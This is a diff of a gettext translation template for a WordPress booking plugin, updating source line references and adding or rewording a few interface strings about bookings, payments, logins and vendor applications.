+#: includes/custom-texts.php:805 includes/custom-texts.php:1050
 msgid ""
 "When countdown expires, you will be redirected to the Meeting Room. Please "
 "keep this page open until then."
 msgstr ""
 
-#: includes/custom-texts.php:797 includes/custom-texts.php:1044
+#: includes/custom-texts.php:806 includes/custom-texts.php:1051
 msgid ""
 "You are the host of this meeting. You can click MEETING_ROOM to go to the "
 "Meeting Room, or wait here. If you prefer to stay, when countdown expires, "
@@ -20691,878 +21603,890 @@
 "then."
 msgstr ""
 
-#: includes/custom-texts.php:799
+#: includes/custom-texts.php:808
 msgid "All Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:800 includes/wh.php:1041
+#: includes/custom-texts.php:809 includes/wh.php:1041
 msgid "All Day"
 msgstr ""
 
-#: includes/custom-texts.php:801
+#: includes/custom-texts.php:810
 msgid "all services"
 msgstr ""
 
-#: includes/custom-texts.php:802
+#: includes/custom-texts.php:811
 msgid ""
 "We are sorry, but this time slot is no longer available. Please refresh the "
 "page and try another time slot. Thank you."
 msgstr ""
 
-#: includes/custom-texts.php:803
+#: includes/custom-texts.php:812
 msgid "Total"
 msgstr ""
 
-#: includes/custom-texts.php:804
+#: includes/custom-texts.php:813
 #, php-format
 msgid "Address of the %d. guest"
 msgstr ""
 
-#: includes/custom-texts.php:805
+#: includes/custom-texts.php:814
 msgid "Your booking has been successfully changed."
 msgstr ""
 
-#: includes/custom-texts.php:806
+#: includes/custom-texts.php:815
 msgid "We have received your submission. Thanks!"
 msgstr ""
 
-#: includes/custom-texts.php:809
+#: includes/custom-texts.php:818
 msgid "Approve"
 msgstr ""
 
-#: includes/custom-texts.php:811
+#: includes/custom-texts.php:820
 msgid "Are you sure to approve selected booking?"
 msgstr ""
 
-#: includes/custom-texts.php:812
+#: includes/custom-texts.php:821
 msgid "Change children"
 msgstr ""
 
-#: includes/custom-texts.php:814
+#: includes/custom-texts.php:823
 msgid ""
 "Congratulations! You are a service provider of SITE_NAME now. Using this "
 "page you can set your profile, arrange working hours and define services you "
 "want to give."
 msgstr ""
 
-#: includes/custom-texts.php:815
+#: includes/custom-texts.php:824
 msgid "Please login to be assigned as a service provider"
 msgstr ""
 
-#: includes/custom-texts.php:816
+#: includes/custom-texts.php:825
 msgid "A specialist"
 msgstr ""
 
-#: includes/custom-texts.php:817
+#: includes/custom-texts.php:826
 msgid "Available"
 msgstr ""
 
-#: includes/custom-texts.php:818
+#: includes/custom-texts.php:827
 msgid "Profile Picture"
 msgstr ""
 
-#: includes/custom-texts.php:819
+#: includes/custom-texts.php:828
 msgid "Back"
 msgstr ""
 
-#: includes/custom-texts.php:822
+#: includes/custom-texts.php:831
 msgid "Every other week"
 msgstr ""
 
-#: includes/custom-texts.php:823
+#: includes/custom-texts.php:832
 msgid ""
 "We are sorry, but the provided email cannot be accepted. Please contact "
 "website admin for details."
 msgstr ""
 
-#: includes/custom-texts.php:824
+#: includes/custom-texts.php:833
 msgid "Processing booking..."
 msgstr ""
 
-#: includes/custom-texts.php:826
+#: includes/custom-texts.php:835
 msgid "Selected booking approved"
 msgstr ""
 
-#: includes/custom-texts.php:827
+#: includes/custom-texts.php:836
 msgid "Booking closed"
 msgstr ""
 
-#: includes/custom-texts.php:828
+#: includes/custom-texts.php:837
 msgid "Book Now for START"
 msgstr ""
 
-#: includes/custom-texts.php:829
+#: includes/custom-texts.php:838
 msgid "Book Now"
 msgstr ""
 
-#: includes/custom-texts.php:831
+#: includes/custom-texts.php:840
 msgid "3 Months Schedule"
 msgstr ""
 
-#: includes/custom-texts.php:832
+#: includes/custom-texts.php:841
 msgid "4 Weeks Schedule"
 msgstr ""
 
-#: includes/custom-texts.php:833
+#: includes/custom-texts.php:842
 msgid "Seasonal Schedules"
 msgstr ""
 
-#: includes/custom-texts.php:834
+#: includes/custom-texts.php:843
 msgid "My Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:835
+#: includes/custom-texts.php:844
 msgid "My Bookings as Client"
 msgstr ""
 
-#: includes/custom-texts.php:836
+#: includes/custom-texts.php:845
 msgid "As Provider"
 msgstr ""
 
-#: includes/custom-texts.php:837
+#: includes/custom-texts.php:846
 msgid "Book Me"
 msgstr ""
 
-#: includes/custom-texts.php:838
+#: includes/custom-texts.php:847
 msgid "Book Us"
 msgstr ""
 
-#: includes/custom-texts.php:840
+#: includes/custom-texts.php:849
 msgid "Credit History"
 msgstr ""
 
-#: includes/custom-texts.php:843
+#: includes/custom-texts.php:852
 msgid "Group"
 msgstr ""
 
-#: includes/custom-texts.php:844 includes/holidays.php:54
+#: includes/custom-texts.php:853 includes/holidays.php:54
 msgid "Holidays"
 msgstr ""
 
-#: includes/custom-texts.php:845
+#: includes/custom-texts.php:854
 msgid "+24h Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:847
+#: includes/custom-texts.php:856
 msgid "Monthly Schedule"
 msgstr ""
 
-#: includes/custom-texts.php:848
+#: includes/custom-texts.php:857
 msgid ""
 "SERVICE booking #APP_ID supposed to start at DATE_TIME has been cancelled by "
 "the client CLIENT"
 msgstr ""
 
-#: includes/custom-texts.php:849
+#: includes/custom-texts.php:858
 msgid ""
 "SERVICE booking #APP_ID supposed to start at DATE_TIME has been cancelled by "
 "admin"
 msgstr ""
 
-#: includes/custom-texts.php:850
+#: includes/custom-texts.php:859
 msgid ""
 "SERVICE booking #APP_ID supposed to start at DATE_TIME has been cancelled by "
 "provider WORKER"
 msgstr ""
 
-#: includes/custom-texts.php:851
+#: includes/custom-texts.php:860
 msgid "SERVICE booking #APP_ID started at DATE_TIME has been completed"
 msgstr ""
 
-#: includes/custom-texts.php:852
+#: includes/custom-texts.php:861
 msgid "SERVICE booking #APP_ID for DATE_TIME has been confirmed"
 msgstr ""
 
-#: includes/custom-texts.php:853
+#: includes/custom-texts.php:862
 msgid "SERVICE booking #APP_ID for DATE_TIME has been paid"
 msgstr ""
 
-#: includes/custom-texts.php:854
+#: includes/custom-texts.php:863
 msgid "Client CLIENT has rescheduled SERVICE booking #APP_ID to DATE_TIME"
 msgstr ""
 
-#: includes/custom-texts.php:855
+#: includes/custom-texts.php:864
 msgid "Admin has rescheduled SERVICE booking #APP_ID to DATE_TIME"
 msgstr ""
 
-#: includes/custom-texts.php:856
+#: includes/custom-texts.php:865
 msgid "Provider WORKER has rescheduled SERVICE booking #APP_ID to DATE_TIME"
 msgstr ""
 
-#: includes/custom-texts.php:857
+#: includes/custom-texts.php:866
 msgid "SERVICE booking #APP_ID started. Estimated finish time: END_DATE_TIME"
 msgstr ""
 
-#: includes/custom-texts.php:858
+#: includes/custom-texts.php:867
 msgid ""
 "CLIENT made a SERVICE booking #APP_ID for DATE_TIME. It will be served by "
 "WORKER"
 msgstr ""
 
-#: includes/custom-texts.php:859
+#: includes/custom-texts.php:868
 msgid "Admin created a new SERVICE booking #APP_ID scheduled for DATE_TIME"
 msgstr ""
 
-#: includes/custom-texts.php:860
+#: includes/custom-texts.php:869
 msgid ""
 "WORKER created a new SERVICE booking #APP_ID for client CLIENT for DATE_TIME"
 msgstr ""
 
-#: includes/custom-texts.php:861
+#: includes/custom-texts.php:870
 msgid ""
 "WORKER has been assigned as service provider for SERVICE booking #APP_ID "
 "scheduled for DATE_TIME"
 msgstr ""
 
-#: includes/custom-texts.php:868
+#: includes/custom-texts.php:877
 msgid "Add a Book Me tab"
 msgstr ""
 
-#: includes/custom-texts.php:869
+#: includes/custom-texts.php:878
 msgid "Weekly Schedule"
 msgstr ""
 
-#: includes/custom-texts.php:871
+#: includes/custom-texts.php:880
 msgid "Busy"
 msgstr ""
 
-#: includes/custom-texts.php:872
+#: includes/custom-texts.php:881
 msgid "Calculating"
 msgstr ""
 
-#: includes/custom-texts.php:874
+#: includes/custom-texts.php:883
 msgid "Selected booking cancelled."
 msgstr ""
 
-#: includes/custom-texts.php:875
+#: includes/custom-texts.php:884
 msgid "Are you sure to cancel the selected booking?"
 msgstr ""
 
-#: includes/custom-texts.php:877 includes/custom-texts.php:909
+#: includes/custom-texts.php:886 includes/custom-texts.php:917
 msgid "Clear"
 msgstr ""
 
-#: includes/custom-texts.php:878
+#: includes/custom-texts.php:887
 msgid "No, I want to continue"
 msgstr ""
 
-#: includes/custom-texts.php:879
+#: includes/custom-texts.php:888
 msgid "Are you sure to cancel current process?"
 msgstr ""
 
-#: includes/custom-texts.php:880
+#: includes/custom-texts.php:889
 msgid "Yes, I want to cancel"
 msgstr ""
 
-#: includes/custom-texts.php:881
+#: includes/custom-texts.php:890
 msgid "Cancellation of appointments is disabled. Please contact website admin."
 msgstr ""
 
-#: includes/custom-texts.php:883
+#: includes/custom-texts.php:892
 msgid "In Cart"
 msgstr ""
 
-#: includes/custom-texts.php:884
+#: includes/custom-texts.php:893
 msgid "Category"
 msgstr ""
 
-#: includes/custom-texts.php:885
+#: includes/custom-texts.php:894
 msgid "Address Line 1"
 msgstr ""
 
-#: includes/custom-texts.php:886
+#: includes/custom-texts.php:895
 msgid "Address Line 2"
 msgstr ""
 
-#: includes/custom-texts.php:888 includes/custom-texts.php:938
+#: includes/custom-texts.php:897 includes/custom-texts.php:946
 msgid "Country"
 msgstr ""
 
-#: includes/custom-texts.php:890
+#: includes/custom-texts.php:899
 msgid ""
 "We are sorry, but your bank did not approve your credit card. Please try "
 "with another card."
 msgstr ""
 
-#: includes/custom-texts.php:892
+#: includes/custom-texts.php:901
 msgid "There was a problem with your submission. ERROR_DETAIL"
 msgstr ""
 
-#: includes/custom-texts.php:893
+#: includes/custom-texts.php:902
 msgid "Expiration Date"
 msgstr ""
 
-#: includes/custom-texts.php:894
+#: includes/custom-texts.php:903
 msgid "Please enter your credit card details below and confirm"
 msgstr ""
 
-#: includes/custom-texts.php:895
+#: includes/custom-texts.php:904
 msgid "Name on the Card"
 msgstr ""
 
-#: includes/custom-texts.php:896
+#: includes/custom-texts.php:905
 msgid "Credit Card Number"
 msgstr ""
 
-#: includes/custom-texts.php:898
+#: includes/custom-texts.php:907
 msgid "State/Province/Region"
 msgstr ""
 
-#: includes/custom-texts.php:900
+#: includes/custom-texts.php:909
 msgid "Check All"
 msgstr ""
 
-#: includes/custom-texts.php:901
+#: includes/custom-texts.php:910
 msgid "IN"
 msgstr ""
 
-#: includes/custom-texts.php:902
+#: includes/custom-texts.php:911
 msgid "OUT"
 msgstr ""
 
-#: includes/custom-texts.php:903
+#: includes/custom-texts.php:912
 msgid "Processing checkout..."
 msgstr ""
 
-#: includes/custom-texts.php:904
+#: includes/custom-texts.php:913
 msgid "Checkout"
 msgstr ""
 
-#: includes/custom-texts.php:905
+#: includes/custom-texts.php:914
 msgid "Choose Image"
 msgstr ""
 
-#: includes/custom-texts.php:906
+#: includes/custom-texts.php:915
 msgid "Click to submit"
 msgstr ""
 
-#: includes/custom-texts.php:910
+#: includes/custom-texts.php:918
 msgid "Clear All"
 msgstr ""
 
-#: includes/custom-texts.php:911
+#: includes/custom-texts.php:919
 msgid "Click to add to Waiting List"
 msgstr ""
 
-#: includes/custom-texts.php:912
+#: includes/custom-texts.php:920
 msgid "Click to add a booking"
 msgstr ""
 
-#: includes/custom-texts.php:913
+#: includes/custom-texts.php:921
 msgid "Click to remove"
 msgstr ""
 
-#: includes/custom-texts.php:914
+#: includes/custom-texts.php:922
 msgid "Click to pick date"
 msgstr ""
 
-#: includes/custom-texts.php:917
+#: includes/custom-texts.php:925
 msgid "Client Information"
 msgstr ""
 
-#: includes/custom-texts.php:918
+#: includes/custom-texts.php:926
 msgid "IP"
 msgstr ""
 
-#: includes/custom-texts.php:920
+#: includes/custom-texts.php:928
 msgid "Color"
 msgstr ""
 
-#: includes/custom-texts.php:921
+#: includes/custom-texts.php:929
 msgid "Company Name"
 msgstr ""
 
-#: includes/custom-texts.php:923 includes/custom-texts.php:924
+#: includes/custom-texts.php:931 includes/custom-texts.php:932
 msgid "Confirm"
 msgstr ""
 
-#: includes/custom-texts.php:925
+#: includes/custom-texts.php:933
 msgid "Are you sure to cancel selected appointment?"
 msgstr ""
 
-#: includes/custom-texts.php:926
+#: includes/custom-texts.php:934
 msgid "Are you sure to confirm selected appointment?"
 msgstr ""
 
-#: includes/custom-texts.php:927
+#: includes/custom-texts.php:935
 msgid "Are you sure to delete selected record(s)?"
 msgstr ""
 
-#: includes/custom-texts.php:928
+#: includes/custom-texts.php:936
 msgid "This action is disabled. Please contact website admin."
 msgstr ""
 
-#: includes/custom-texts.php:929
+#: includes/custom-texts.php:937
 msgid "Are you sure to end the call?"
 msgstr ""
 
-#: includes/custom-texts.php:930
+#: includes/custom-texts.php:938
 msgid "Please fill in the form and confirm:"
 msgstr ""
 
-#: includes/custom-texts.php:932
+#: includes/custom-texts.php:940
 msgid "Selected booking confirmed"
 msgstr ""
 
-#: includes/custom-texts.php:933
+#: includes/custom-texts.php:941
 msgid "We are holding your selection for"
 msgstr ""
 
-#: includes/custom-texts.php:934
+#: includes/custom-texts.php:942
 msgid "A connection error occurred"
 msgstr ""
 
-#: includes/custom-texts.php:935
+#: includes/custom-texts.php:943
 msgid "There is a problem with your account. Please contact website admin"
 msgstr ""
 
-#: includes/custom-texts.php:936
+#: includes/custom-texts.php:944
 msgid "Add Another Slot"
 msgstr ""
 
-#: includes/custom-texts.php:937
+#: includes/custom-texts.php:945
 msgid "Your next appointment"
 msgstr ""
 
-#: includes/custom-texts.php:940
+#: includes/custom-texts.php:947
 msgid "Discount Code"
 msgstr ""
 
-#: includes/custom-texts.php:941
+#: includes/custom-texts.php:948
 msgid "Code is invalid"
 msgstr ""
 
-#: includes/custom-texts.php:942
+#: includes/custom-texts.php:949
 msgid "Code is valid"
 msgstr ""
 
-#: includes/custom-texts.php:943
+#: includes/custom-texts.php:950
 msgid "Use discount coupon here"
 msgstr ""
 
-#: includes/custom-texts.php:946
+#: includes/custom-texts.php:953
 msgid "Credit"
 msgstr ""
 
-#: includes/custom-texts.php:947
+#: includes/custom-texts.php:954
 msgid "Credit Card"
 msgstr ""
 
-#: includes/custom-texts.php:948
+#: includes/custom-texts.php:955
 msgid "Credit Sales"
 msgstr ""
 
-#: includes/custom-texts.php:951
+#: includes/custom-texts.php:958
 msgid "Booking System Dashboard"
 msgstr ""
 
-#: includes/custom-texts.php:953
+#: includes/custom-texts.php:960
 msgid "Starts"
 msgstr ""
 
-#: includes/custom-texts.php:955
+#: includes/custom-texts.php:962
 #: includes/freeons/extended-service-features.php:413
 msgid "days"
 msgstr ""
 
-#: includes/custom-texts.php:958
+#: includes/custom-texts.php:965
 msgid "Delete Permanently"
 msgstr ""
 
-#: includes/custom-texts.php:959 includes/notices.php:538
+#: includes/custom-texts.php:966 includes/notices.php:538
 msgid "Selected record(s) deleted."
 msgstr ""
 
-#: includes/custom-texts.php:961
+#: includes/custom-texts.php:968
 msgid "Deposit Paid:"
 msgstr ""
 
-#: includes/custom-texts.php:964
+#: includes/custom-texts.php:971
 msgid "Display Name"
 msgstr ""
 
-#: includes/custom-texts.php:965
+#: includes/custom-texts.php:972
 msgid "Done..."
 msgstr ""
 
-#: includes/custom-texts.php:966
+#: includes/custom-texts.php:973
 msgid "Total Amount"
 msgstr ""
 
-#: includes/custom-texts.php:967
+#: includes/custom-texts.php:974
 msgid "Due Payment"
 msgstr ""
 
-#: includes/custom-texts.php:970
+#: includes/custom-texts.php:977
 msgid "EDD"
 msgstr ""
 
-#: includes/custom-texts.php:972
-msgid "You are about to edit an existing appointment. Click OK to continue."
+#: includes/custom-texts.php:979
+msgid "You are about to edit an existing booking. Click OK to continue."
 msgstr ""
 
-#: includes/custom-texts.php:974
+#: includes/custom-texts.php:981
 msgid "Editing of bookings is disabled. Please contact website admin."
 msgstr ""
 
-#: includes/custom-texts.php:975
+#: includes/custom-texts.php:982
+msgid "% parameter of the booking cannot be edited."
+msgstr ""
+
+#: includes/custom-texts.php:983
 msgid "Booking successfully changed."
 msgstr ""
 
-#: includes/custom-texts.php:976
+#: includes/custom-texts.php:984
+msgid "Bookings in this stage cannot be edited."
+msgstr ""
+
+#: includes/custom-texts.php:985
 #, php-format
 msgid ""
 "New time of the booking is too close. Please select a time later than %s."
 msgstr ""
 
-#: includes/custom-texts.php:979
+#: includes/custom-texts.php:987
 msgid "Submitted email does not belong to you"
 msgstr ""
 
-#: includes/custom-texts.php:980
+#: includes/custom-texts.php:988
 msgid "Empty Cart"
 msgstr ""
 
-#: includes/custom-texts.php:982
+#: includes/custom-texts.php:990
 msgid "Ends"
 msgstr ""
 
-#: includes/custom-texts.php:983
+#: includes/custom-texts.php:991
 msgid "Every other day"
 msgstr ""
 
-#: includes/custom-texts.php:984
+#: includes/custom-texts.php:992
 msgid "EOD except Sunday"
 msgstr ""
 
-#: includes/custom-texts.php:985
+#: includes/custom-texts.php:993
 msgid ""
 "Something went wrong. Please try again, if applicable, after refreshing the "
 "page. If problem persists, contact website admin."
 msgstr ""
 
-#: includes/custom-texts.php:986 includes/lib/plugin-updater.php:522
+#: includes/custom-texts.php:994 includes/lib/plugin-updater.php:522
 msgid "Error"
 msgstr ""
 
-#: includes/custom-texts.php:988
+#: includes/custom-texts.php:996
 msgid "Total event capacity. Leave empty for no limit"
 msgstr ""
 
-#: includes/custom-texts.php:989
+#: includes/custom-texts.php:997
 msgid "Closed from Pax"
 msgstr ""
 
-#: includes/custom-texts.php:990
+#: includes/custom-texts.php:998
 msgid ""
 "When group bookings is enabled, event will be regarded full when this number "
 "is reached"
 msgstr ""
 
-#: includes/custom-texts.php:992
+#: includes/custom-texts.php:1000
 msgid "Tick if a Zoom meeting will be automatically created"
 msgstr ""
 
-#: includes/custom-texts.php:993
+#: includes/custom-texts.php:1001
 msgid "Enable Group Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:994
+#: includes/custom-texts.php:1002
 msgid "Tick if more than one pax can be sold per booking"
 msgstr ""
 
-#: includes/custom-texts.php:995
+#: includes/custom-texts.php:1003
 msgid "Maximum Pax"
 msgstr ""
 
-#: includes/custom-texts.php:996
+#: includes/custom-texts.php:1004
 msgid ""
 "When group bookings is enabled, maximum pax that can be selected per booking"
 msgstr ""
 
-#: includes/custom-texts.php:997
+#: includes/custom-texts.php:1005
 msgid "Minimum Pax"
 msgstr ""
 
-#: includes/custom-texts.php:998
+#: includes/custom-texts.php:1006
 msgid ""
 "When group bookings is enabled, minimum pax that can be selected per booking"
 msgstr ""
 
-#: includes/custom-texts.php:1000
+#: includes/custom-texts.php:1008
 msgid "Unit price. Leave empty if event is free"
 msgstr ""
 
-#: includes/custom-texts.php:1001
+#: includes/custom-texts.php:1009
 msgid "Book now for EVENT - START_END"
 msgstr ""
 
-#: includes/custom-texts.php:1002
+#: includes/custom-texts.php:1010
 msgid "More information <span class=\"meta-nav\">&rarr;</span>"
 msgstr ""
 
-#: includes/custom-texts.php:1003
+#: includes/custom-texts.php:1011
 msgid "Card is no longer valid or has expired"
 msgstr ""
 
-#: includes/custom-texts.php:1004
+#: includes/custom-texts.php:1012
 msgid "Export bookings as CSV file"
 msgstr ""
 
-#: includes/custom-texts.php:1006
+#: includes/custom-texts.php:1014
 msgid "Fee"
 msgstr ""
 
-#: includes/custom-texts.php:1007
+#: includes/custom-texts.php:1015
 msgid "Full Name"
 msgstr ""
 
-#: includes/custom-texts.php:1008
+#: includes/custom-texts.php:1016
 msgid "First Name"
 msgstr ""
 
-#: includes/custom-texts.php:1014
+#: includes/custom-texts.php:1021
 msgid "Click to submit this appointment to your Google Calendar account"
 msgstr ""
 
-#: includes/custom-texts.php:1015
+#: includes/custom-texts.php:1022
 msgid "Additional User Info for Booking"
 msgstr ""
 
-#: includes/custom-texts.php:1016
+#: includes/custom-texts.php:1023
 msgid "User Info for Booking"
 msgstr ""
 
-#: includes/custom-texts.php:1020
+#: includes/custom-texts.php:1027
 msgid "Meet URL"
 msgstr ""
 
-#: includes/custom-texts.php:1021
+#: includes/custom-texts.php:1028
 msgid "Temporary"
 msgstr ""
 
-#: includes/custom-texts.php:1022
+#: includes/custom-texts.php:1029
 msgid "Host"
 msgstr ""
 
-#: includes/custom-texts.php:1024
+#: includes/custom-texts.php:1031
 msgid "hours"
 msgstr ""
 
-#: includes/custom-texts.php:1025
+#: includes/custom-texts.php:1032
 msgid "h"
 msgstr ""
 
-#: includes/custom-texts.php:1026
+#: includes/custom-texts.php:1033
 msgid "Image"
 msgstr ""
 
-#: includes/custom-texts.php:1027
+#: includes/custom-texts.php:1034
 msgid "Showing page _PAGE_ of _PAGES_"
 msgstr ""
 
-#: includes/custom-texts.php:1029
+#: includes/custom-texts.php:1036
 msgid ""
 "There is something wrong about this booking or this action. Please contact "
 "website admin."
 msgstr ""
 
-#: includes/custom-texts.php:1030
+#: includes/custom-texts.php:1037
 msgid "Invalid cardholder"
 msgstr ""
 
-#: includes/custom-texts.php:1031
+#: includes/custom-texts.php:1038
 msgid "Please enter a valid Credit Card Number."
 msgstr ""
 
-#: includes/custom-texts.php:1032
+#: includes/custom-texts.php:1039
 msgid "Please enter a valid Card Security Code"
 msgstr ""
 
-#: includes/custom-texts.php:1033
+#: includes/custom-texts.php:1040
 msgid "Please enter a valid email"
 msgstr ""
 
-#: includes/custom-texts.php:1034
+#: includes/custom-texts.php:1041
 msgid "Please choose a valid Expiration Date."
 msgstr ""
 
-#: includes/custom-texts.php:1035
+#: includes/custom-texts.php:1042
 msgid "Jitsi"
 msgstr ""
 
-#: includes/custom-texts.php:1046
+#: includes/custom-texts.php:1053
 msgid "Lasts"
 msgstr ""
 
-#: includes/custom-texts.php:1047
+#: includes/custom-texts.php:1054
 msgid "Last Name"
 msgstr ""
 
-#: includes/custom-texts.php:1049
+#: includes/custom-texts.php:1055
 msgid "Display _MENU_ records"
 msgstr ""
 
-#: includes/custom-texts.php:1050
+#: includes/custom-texts.php:1056
 #, php-format
 msgid "Number of time slot limit (%d) has been reached."
 msgstr ""
 
-#: includes/custom-texts.php:1051
+#: includes/custom-texts.php:1057
 msgid "List"
 msgstr ""
 
-#: includes/custom-texts.php:1052
+#: includes/custom-texts.php:1058
 msgid "Loading..."
 msgstr ""
 
-#: includes/custom-texts.php:1055
+#: includes/custom-texts.php:1061
 msgid "Locations/Stores"
 msgstr ""
 
-#: includes/custom-texts.php:1057
+#: includes/custom-texts.php:1063
 msgid "Location name"
 msgstr ""
 
-#: includes/custom-texts.php:1058
+#: includes/custom-texts.php:1064
 msgid "Location names"
 msgstr ""
 
-#: includes/custom-texts.php:1059
+#: includes/custom-texts.php:1065
 msgid "Location Note"
 msgstr ""
 
-#: includes/custom-texts.php:1060
+#: includes/custom-texts.php:1066
 msgid "You are now logged in"
 msgstr ""
 
-#: includes/custom-texts.php:1061
+#: includes/custom-texts.php:1067
 msgid "Click a free day to apply for an appointment."
 msgstr ""
 
-#: includes/custom-texts.php:1062
+#: includes/custom-texts.php:1068
 msgid "Preparing login..."
 msgstr ""
 
-#: includes/custom-texts.php:1063
+#: includes/custom-texts.php:1069
 msgid "Login"
 msgstr ""
 
-#: includes/custom-texts.php:1064
-msgid "Please login in order to cancel the appointment"
+#: includes/custom-texts.php:1070
+msgid "Please login in order to cancel the booking"
 msgstr ""
 
-#: includes/custom-texts.php:1065
+#: includes/custom-texts.php:1071
 msgid "Please login in order to confirm the booking"
 msgstr ""
 
-#: includes/custom-texts.php:1066
+#: includes/custom-texts.php:1072
 msgid "Please login in order to edit the booking"
 msgstr ""
 
-#: includes/custom-texts.php:1067
+#: includes/custom-texts.php:1073
 msgid "Click here to login:"
 msgstr ""
 
-#: includes/custom-texts.php:1068
+#: includes/custom-texts.php:1074
 msgid ""
 "It looks like you have previously registered to our website. Please login to "
 "proceed."
 msgstr ""
 
-#: includes/custom-texts.php:1069
+#: includes/custom-texts.php:1075
 msgid "Please Login to Continue"
 msgstr ""
 
-#: includes/custom-texts.php:1070
+#: includes/custom-texts.php:1076
 msgid "Login with Facebook"
 msgstr ""
 
-#: includes/custom-texts.php:1071
+#: includes/custom-texts.php:1077
 msgid "Login with Google"
 msgstr ""
 
-#: includes/custom-texts.php:1072
+#: includes/custom-texts.php:1078
 msgid "Login with WordPress"
 msgstr ""
 
-#: includes/custom-texts.php:1073
+#: includes/custom-texts.php:1079
 msgid "+REST More"
 msgstr ""
 
-#: includes/custom-texts.php:1074 includes/custom-texts.php:1205
+#: includes/custom-texts.php:1080 includes/custom-texts.php:1211
 msgid "Make Payment"
 msgstr ""
 
-#: includes/custom-texts.php:1076
+#: includes/custom-texts.php:1082
 msgid ""
 "This record may have been edited by another user and current value may not "
 "be valid any more."
 msgstr ""
 
-#: includes/custom-texts.php:1079
+#: includes/custom-texts.php:1085
 msgid "minute"
 msgstr ""
 
-#: includes/custom-texts.php:1080
+#: includes/custom-texts.php:1086
 #: includes/freeons/extended-service-features.php:417
 msgid "minutes"
 msgstr ""
 
-#: includes/custom-texts.php:1081
+#: includes/custom-texts.php:1087
 msgid "min"
 msgstr ""
 
-#: includes/custom-texts.php:1082
+#: includes/custom-texts.php:1088
 msgid "Please select at least one option from the list"
 msgstr ""
 
-#: includes/custom-texts.php:1083
+#: includes/custom-texts.php:1089
 msgid "Please fill in the required field"
 msgstr ""
 
-#: includes/custom-texts.php:1084
+#: includes/custom-texts.php:1090
+msgid "Missing booking ID or service"
+msgstr ""
+
+#: includes/custom-texts.php:1091
 msgid "Please accept Terms and Conditions"
 msgstr ""
 
-#: includes/custom-texts.php:1089
+#: includes/custom-texts.php:1096
 msgid "Monthly"
 msgstr ""
 
-#: includes/custom-texts.php:1090
+#: includes/custom-texts.php:1097
 msgid "SERVICE - START"
 msgstr ""
 
-#: includes/custom-texts.php:1091
+#: includes/custom-texts.php:1098
 #: includes/freeons/extended-service-features.php:411
 msgid "months"
 msgstr ""
 
-#: includes/custom-texts.php:1092
+#: includes/custom-texts.php:1099
 msgid "Guest emails"
 msgstr ""
 
-#: includes/custom-texts.php:1093
+#: includes/custom-texts.php:1100
 #, php-format
 msgid "email of the %d. guest"
 msgstr ""
 
-#: includes/custom-texts.php:1094
+#: includes/custom-texts.php:1101
 msgid ""
 "You have successfully created your account! To begin using this site you "
 "will need to activate your account via the email we have just sent to your "
 "address."
 msgstr ""
 
-#: includes/custom-texts.php:1095
+#: includes/custom-texts.php:1102
 msgid "Afternoon"
 msgstr ""
 
-#: includes/custom-texts.php:1096
+#: includes/custom-texts.php:1103
 msgid "The user is already active."
 msgstr ""
 
-#: includes/custom-texts.php:1097
+#: includes/custom-texts.php:1104
 #, php-format
 msgid ""
 "We have already received your application at %s. Please give us some time to "
@@ -21570,837 +22494,845 @@
 "message."
 msgstr ""
 
-#: includes/custom-texts.php:1098
+#: includes/custom-texts.php:1105
 msgid ""
 "You are already assigned to a store. If you need assistance please contact "
 "admin."
 msgstr ""
 
-#: includes/custom-texts.php:1099
+#: includes/custom-texts.php:1106
 msgid ""
 "You are already a registered vendor. You don't need to apply again. If you "
 "need assistance please contact admin."
 msgstr ""
 
-#: includes/custom-texts.php:1100
+#: includes/custom-texts.php:1107
 msgid "Apply Now"
 msgstr ""
 
-#: includes/custom-texts.php:1101
+#: includes/custom-texts.php:1108
 msgid "Become a Vendor"
 msgstr ""
 
-#: includes/custom-texts.php:1102
+#: includes/custom-texts.php:1109
 msgid "By clicking this button, you can apply to be a vendor on our website."
 msgstr ""
 
-#: includes/custom-texts.php:1103
+#: includes/custom-texts.php:1110
 msgid "Do you want to apply to become a vendor?"
 msgstr ""
 
-#: includes/custom-texts.php:1104
+#: includes/custom-texts.php:1111
 msgid "About You"
 msgstr ""
 
-#: includes/custom-texts.php:1106
+#: includes/custom-texts.php:1113
 msgid "About You (Summary)"
 msgstr ""
 
-#: includes/custom-texts.php:1107
+#: includes/custom-texts.php:1114
 msgid "Could not create user"
 msgstr ""
 
-#: includes/custom-texts.php:1108
+#: includes/custom-texts.php:1115
 msgid "Commission"
 msgstr ""
 
-#: includes/custom-texts.php:1112
+#: includes/custom-texts.php:1119
 msgid "Days of the week"
 msgstr ""
 
-#: includes/custom-texts.php:1113
+#: includes/custom-texts.php:1120
 msgid "Please contact admin for assistance"
 msgstr ""
 
-#: includes/custom-texts.php:1115
+#: includes/custom-texts.php:1122
 msgid "Sorry, that email address is not allowed!"
 msgstr ""
 
-#: includes/custom-texts.php:1116
+#: includes/custom-texts.php:1123
 msgid "Sorry, that email address is already used!"
 msgstr ""
 
-#: includes/custom-texts.php:1117
+#: includes/custom-texts.php:1124
 msgid "Please check your email address."
 msgstr ""
 
-#: includes/custom-texts.php:1118
+#: includes/custom-texts.php:1125
 msgid "Evening"
 msgstr ""
 
-#: includes/custom-texts.php:1119
+#: includes/custom-texts.php:1126
 msgid ""
 "Invalid activation key. If you used activation key before, please wait for "
 "our response email."
 msgstr ""
 
-#: includes/custom-texts.php:1120
+#: includes/custom-texts.php:1127
 msgid "You are already a vendor"
 msgstr ""
 
-#: includes/custom-texts.php:1121
+#: includes/custom-texts.php:1128
 msgid "Late afternoon"
 msgstr ""
 
-#: includes/custom-texts.php:1122
+#: includes/custom-texts.php:1129
 msgid "Late Evening"
 msgstr ""
 
-#: includes/custom-texts.php:1123
+#: includes/custom-texts.php:1130
 msgid "Late morning"
 msgstr ""
 
-#: includes/custom-texts.php:1124
+#: includes/custom-texts.php:1131
 msgid "Late Night"
 msgstr ""
 
-#: includes/custom-texts.php:1125
+#: includes/custom-texts.php:1132
 msgid ""
 "You have successfully created your account! Please log in using the username "
 "and password you have just created. Click here to LOGIN_PAGE"
 msgstr ""
 
-#: includes/custom-texts.php:1126
+#: includes/custom-texts.php:1133
 msgid "Morning"
 msgstr ""
 
-#: includes/custom-texts.php:1127
+#: includes/custom-texts.php:1134
 msgid "Night"
 msgstr ""
 
-#: includes/custom-texts.php:1128
+#: includes/custom-texts.php:1135
 msgid "You must indicate that you have read and agreed to the Privacy Policy."
 msgstr ""
 
